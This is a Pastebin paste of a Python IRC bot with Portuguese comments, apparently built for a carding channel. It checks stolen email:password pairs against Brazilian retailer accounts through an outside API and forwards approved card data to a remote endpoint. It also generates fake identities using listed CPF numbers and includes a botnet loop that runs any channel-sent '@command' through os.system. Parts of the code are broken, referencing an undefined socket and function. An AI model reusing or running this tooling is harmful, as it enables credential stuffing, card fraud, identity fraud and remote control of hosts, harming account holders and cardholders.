Advertisement
Guest User

Untitled

a guest
Apr 21st, 2018
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.50 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # encoding: utf-8
  4. import socket
  5. import sys
  6. import uuid
  7. import random
  8. import os
  9. import requests
  10. import string
  11. import time
  12. from datetime import datetime
  13. from datetime import datetime
  14. from random import randint,uniform
  15. from string import lower,upper
  16. from math import sqrt
  17.  
  18.  
  19. canal_visita = "#unix"
  20. #servidor = "irc.realunix.org"
  21. servidor = "darkcc.serveirc.com"
  22. canal = "#logins"
  23. #canal_recebe = "#vsf_pnc"
  24. password = 'senha1234'
  25. NickBOT = "PuTex[18]"
  26. NomeBOT = "PuTex[18]"
  27. senhaBOT = ""
  28. os.system("clear")
  29. print("""
  30.  
  31. ACK È GOSTOSO VEI :D
  32.  
  33.  
  34. """)
  35.  
  36. def separa_usuario(texto):
  37. separau = string.split(texto, "!~")
  38. separau = separau[0].split("@")
  39. user = separau[0]
  40. user = user.split("!")
  41. user = user[1]
  42. return user
  43.  
  44. def ChkPontoFrio(email,senha):
  45. pagina = requests.get('http://modestpay.com.br/API/BOT/pontofrio.php?login='+email+':'+senha)
  46. resposta = pagina.content
  47. return resposta+" - [Ponto Frio] - "+canal
  48.  
  49. def ChkExtra(email,senha):
  50. pagina = requests.get('http://modestpay.com.br/API/BOT/extra.php?login='+email+':'+senha)
  51. resposta = pagina.content
  52. return resposta+" - [Extra] - "+canal
  53.  
  54. def ChkBol(email,senha):
  55. pagina = requests.get('http://modestpay.com.br/API/BOT/bolmail.php?login='+email+':'+senha)
  56. resposta = pagina.content
  57. return resposta+" - [BOLMAIL] - "+canal
  58.  
  59. def cx2(cc):
  60. pagina = requests.get('http://modestpay.com.br/registra.php?cc='+cc)
  61. resposta = pagina.content
  62. return resposta
  63.  
  64. def BinChk(binc):
  65. pagina = requests.get('http://modestpay.com.br/API/BOT/bin.php?bin='+binc)
  66. resposta = pagina.content
  67. return resposta+" - "+canal
  68.  
  69.  
  70.  
  71. def IRC():
  72. irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  73.  
  74. print ("\n[~] BOT sendo iniciado..")
  75. print ("\n[~] Entrando no servidor: "+servidor+" ("+canal+")")
  76. print ("\n[~] Nome do BOT: "+NickBOT+"\n")
  77.  
  78.  
  79. irc.connect((servidor, 6667))
  80. irc.send('PASS %s\r\n' %senhaBOT)
  81. irc.send('USER ' + NomeBOT + ' ' + NomeBOT + ' bla :' + NomeBOT + '\r\n')
  82. irc.send('NICK %s\r\n' %NickBOT)
  83. irc.send('Join %s\r\n' %canal)
  84. time.sleep(2)
  85. while 1:
  86.  
  87. texto=irc.recv(2040)
  88.  
  89. print(texto)
  90.  
  91. oi = "sim"
  92. if texto[0:4] == 'PING':
  93. irc.send(texto.replace('PING', 'PONG'))
  94.  
  95.  
  96. if texto.find('End of /NAMES list.') !=-1:
  97. #print ("\nO BOT se conectou com sucesso a: "+servidor+"\n\n")
  98. irc.send('Join %s\r\n' %canal)
  99. #irc.send('Join %s\r\n' %canal_visita)
  100.  
  101. irc.send('Part #unix \r\n')
  102. #irc.send('Join {}\r\n'.format(canal_recebe))
  103. if oi == "sim":
  104. #irc.send('\n\n PRIVMSG '+canal+' :13 Entrei u.u\r\n\n')
  105. oi = "nao"
  106. texto = ""
  107. irc.send('Part #darkcc')
  108.  
  109.  
  110.  
  111.  
  112. if texto.find(':!logins') !=-1:
  113. irc.send('PRIVMSG '+canal+' :0LOJAS ON √ ~ 9!PONTOFRIO ~ !EXTRA ~ !BOLMAIL ~ ! PAGSEGURO ~ ADIDAS ~ 7USE : email@email.com|senha ~ 13#logins\r\n')
  114. texto = ""
  115. if texto.find(':!tchau') !=-1:
  116. irc.send('PRIVMSG '+canal+' :!kb '+Nick+' \r\n\n')
  117. texto = ""
  118.  
  119.  
  120. if texto.find(':!fakedata') !=-1:
  121. nome = ['Bruno', 'Gustavo', 'Pedro', 'Diego', 'Henrique', 'Rafael', 'Eduardo', 'Joao', 'Rodrigo', 'Enzo', 'Leonardo', 'Valentim', 'Gabriel', 'Lucas', 'Vinícius', 'Guilherme', 'Miguel', 'Vitor', 'Amanda', 'Isabela', 'Luana', 'Ana', 'Júlia', 'Maria', 'Beatriz', 'Lara', 'Mariana', 'Bruna', 'Larissa', 'Sofia', 'Camila', 'Laura', 'Valentina', 'Carolina', 'Letícia', 'Yasmin']
  122. sobrenome = ['Silva', 'Vargas', 'Quadros', 'Bochase', 'Bosoni', 'Oliveira', 'Lima', 'Costa', 'Pinto', 'Ferreira', 'Souza', 'Pereira', 'Santos', ]
  123. idade = ['18', '20', '25', '30', '35', '40', '45', '50', '55']
  124. rg = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  125. rg2 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  126. rg3 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  127. rg4 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  128. rg5 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  129. rg6 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  130. rg7 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  131. rg8 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  132. rg9 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
  133. cidade = ['Alta Floresta', 'Alto Paraíso', 'Ariquemes', 'Buritis', 'Cabixi', 'Cacaulândia', 'Cacoal', 'Campo Novo de Rondônia', 'Candeias do Jamari', 'Castanheiras', 'Cerejeiras', 'Chupinguaia', 'Colorado do Oeste', 'Corumbiara', 'Costa Marques', 'Cujubim', 'Governador Jorge Teixeira']
  134. cpf = ['307.272.808-99', '363.975.818-88', '331.972.588-27', '383.446.338-85', '295.136.248-03', '219.180.478-04', '314.493.248-51', '401.961.598-57', '367.374.688-02', '398.590.648-30', '341.396.018-09', '365.307.018-00', '412.344.938-70', '407.410.778-33', '399.470.678-58', '409.887.868-26']
  135. end = ['Travessa Coronel Cazeca', 'Rua Hildemar Maia', 'Avenida Cachoeira do Urubú', 'Rua dos Cajueiros', 'Rua Sobradinho', 'Rua José Benedito Rodrigues', 'Rua C', 'Rua Santa Irene', 'Rua Professor Gileno de Freitas', 'Rua Minas Azuis', 'Rua Galdino Brieda', 'Beco Doi', 'Quadra Vinte e Cinco', 'Rua José Kleina']
  136. fone = ['77 99273-7877', '81 2832-5997', '84 98446-7895', '85 99912-6007', '61 98915-9255', '49 98865-2838', '48 99759-1943', '83 98100-5364', '83 98755-9856', '96 99724-7470', '22 99505-3216', '68 98267-3895', '79 99382-7864', '92 98693-0799', '92 98693-0799']
  137. Nome1 = random.choice(nome)
  138. fone1 = random.choice(fone)
  139. end1 = random.choice(end)
  140. rg1 = random.choice(rg)
  141. rg2 = random.choice(rg2)
  142. cida = random.choice(cidade)
  143. rg3 = random.choice(rg3)
  144. rg4 = random.choice(rg4)
  145. rg5 = random.choice(rg5)
  146. rg6 = random.choice(rg6)
  147. rg7 = random.choice(rg7)
  148. rg8 = random.choice(rg8)
  149. rg9 = random.choice(rg9)
  150. cpf1 = random.choice(cpf)
  151. Sobrenome1 = random.choice(sobrenome)
  152. Idade1 = random.choice(idade)
  153. texto = ""
  154.  
  155. irc.send('\n\nPRIVMSG '+canal+' : 8Nome: '+Nome1+' '+Sobrenome1+' | Idade: '+Idade1+' | Telefone: '+fone1+' | Endereço : '+end1+' | Cpf: '+cpf1+' | Rg: '+rg1+''+rg2+'.'+rg3+''+rg4+''+rg5+'.'+rg6+''+rg7+''+rg8+'-'+rg9+' | Cidade: '+cida+' | 4Δ31 Logins :D4 Δ \r\n\n')
  156.  
  157.  
  158.  
  159. if texto.find(':!ligarbot') !=-1:
  160. irc.send('PRIVMSG '+canal+' : 0BOT 9LIGADO COM SUCESSO \r\n\n')
  161. texto = ""
  162.  
  163. if texto.find(':!status') !=-1:
  164. irc.send('\n\n PRIVMSG '+canal+' :0cheker de login : 9ON 0cheker de cc : OFF \r\n\n')
  165. texto = ""
  166.  
  167.  
  168. if texto.find(':!pontofrio') !=-1:
  169. try:
  170. ativo = "sim"
  171. separa = string.split(texto, "!pontofrio ")
  172. texto = ""
  173.  
  174. sp = separa[1]
  175.  
  176. if sp.find(":") !=-1:
  177. separador = ":"
  178.  
  179.  
  180. elif sp.find("|") !=-1:
  181. separador = "|"
  182.  
  183. elif sp.find(";") !=-1:
  184. separador = ";"
  185.  
  186.  
  187. elif sp.find(",") !=-1:
  188. separador = ","
  189.  
  190. else:
  191. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  192. ativo = "nao"
  193.  
  194.  
  195. if ativo == "sim":
  196. login = string.split(separa[1], separador)
  197. email = login[0]
  198. p_senha = login[1]
  199. senha = string.split(p_senha, "\r\n")
  200. resposta = ChkPontoFrio(email,senha[0])
  201. if resposta.find("LIVE") !=-1:
  202. estado = "LIVE"
  203. cor = "3"
  204. else:
  205. estado = "DIE"
  206. cor = "4"
  207.  
  208. irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
  209. #<'+user+'>
  210. except IndexError:
  211. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  212.  
  213. #=============================== ~ BOLMAIL ~=====================================================
  214. if texto.find(':!bolmail') !=-1:
  215. try:
  216. ativo = "sim"
  217. separa = string.split(texto, "!bolmail ")
  218. texto = ""
  219.  
  220. sp = separa[1]
  221.  
  222. if sp.find(":") !=-1:
  223. separador = ":"
  224.  
  225.  
  226. elif sp.find("|") !=-1:
  227. separador = "|"
  228.  
  229. elif sp.find(";") !=-1:
  230. separador = ";"
  231.  
  232.  
  233. elif sp.find(",") !=-1:
  234. separador = ","
  235.  
  236. else:
  237. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  238. ativo = "nao"
  239.  
  240.  
  241. if ativo == "sim":
  242. login = string.split(separa[1], separador)
  243. email = login[0]
  244. p_senha = login[1]
  245. senha = string.split(p_senha, "\r\n")
  246. resposta = ChkBol(email,senha[0])
  247.  
  248. if resposta.find("LIVE") !=-1:
  249. estado = "LIVE"
  250. cor = "3"
  251. else:
  252. estado = "DIE"
  253. cor = "4"
  254.  
  255. irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
  256.  
  257. except IndexError:
  258. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  259.  
  260.  
  261. teste = False
  262. while teste != True:
  263. msg = s.recv(5000)
  264. print (msg)
  265. if msg[0:4] == 'PING':
  266. s.send(msg.replace('PING', 'PONG'))
  267. if search('@ligar %s' %password, msg):
  268. teste = True
  269. s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
  270.  
  271. # Verifica o que é digitado no canal
  272. # Se for digitado "@command + comando", o programa executa o comando informado no
  273. # servidor que está rodando o botnet
  274. # EXEMPLO: @command clear
  275. # EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
  276. while True:
  277. msg = s.recv(5000)
  278. print (msg)
  279. if msg[0:4] == 'PING':
  280. s.send(msg.replace('PING', 'PONG'))
  281. if search('@command', msg):
  282. msg = msg.split('@command')
  283. msg = msg[1].split('\r\n')
  284. os.system(msg[0])
  285. s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
  286.  
  287.  
  288. #========================================= ++ EXTRA ++ ==================================================
  289. if texto.find(':!extra') !=-1:
  290. try:
  291. ativo = "sim"
  292. separa = string.split(texto, ":!extra ")
  293. texto = ""
  294.  
  295. sp = separa[1]
  296.  
  297. if sp.find(":") !=-1:
  298. separador = ":"
  299.  
  300.  
  301. elif sp.find("|") !=-1:
  302. separador = "|"
  303.  
  304. elif sp.find(";") !=-1:
  305. separador = ";"
  306.  
  307.  
  308. elif sp.find(",") !=-1:
  309. separador = ","
  310.  
  311. else:
  312. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  313. ativo = "nao"
  314.  
  315.  
  316. if ativo == "sim":
  317. login = string.split(separa[1], separador)
  318. email = login[0]
  319. p_senha = login[1]
  320. senha = string.split(p_senha, "\r\n")
  321. resposta = ChkExtra(email,senha[0])
  322.  
  323. if resposta.find("LIVE") !=-1:
  324. estado = "LIVE"
  325. cor = "3"
  326. else:
  327. estado = "DIE"
  328. cor = "4"
  329.  
  330. irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
  331.  
  332. except IndexError:
  333. irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
  334. #========================================= + BIN CHK + ====================================================
  335. if texto.find(':!bin') !=-1:
  336. try:
  337. ativo = "sim"
  338. separa = string.split(texto, "!bin ")
  339. texto = ""
  340. cor = " 0"
  341.  
  342. binc = separa[1]
  343.  
  344. binc = binc.split("\r\n")
  345.  
  346.  
  347. resposta = BinChk(binc[0])
  348.  
  349. irc.send('\n\nPRIVMSG '+canal+' :6'+str(resposta)+'!\r\n\n')
  350.  
  351. except IndexError:
  352. irc.send('\n\n PRIVMSG '+canal+' :6Digite uma bin valida!\r\n\n')
  353.  
  354.  
  355. if texto.find('APROVADAsssssssss ✔ » ') !=-1:
  356. separa = string.split(texto, "APROVADA ✔ » ")
  357. cc = separa[1].split("|")
  358. cc = cc[0].split(":APROVADA")
  359. texto = "!chk "
  360. infocc = "APROVADA ✔ » "+cc[0]
  361. print(infocc)
  362. #irc.send('\n\nPRIVMSG '+canal+' :3'+str(infocc)+'! \r\n\n')
  363. hehe = cx2(infocc)
  364. print(hehe)
  365.  
  366.  
  367.  
  368.  
  369. IRC()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement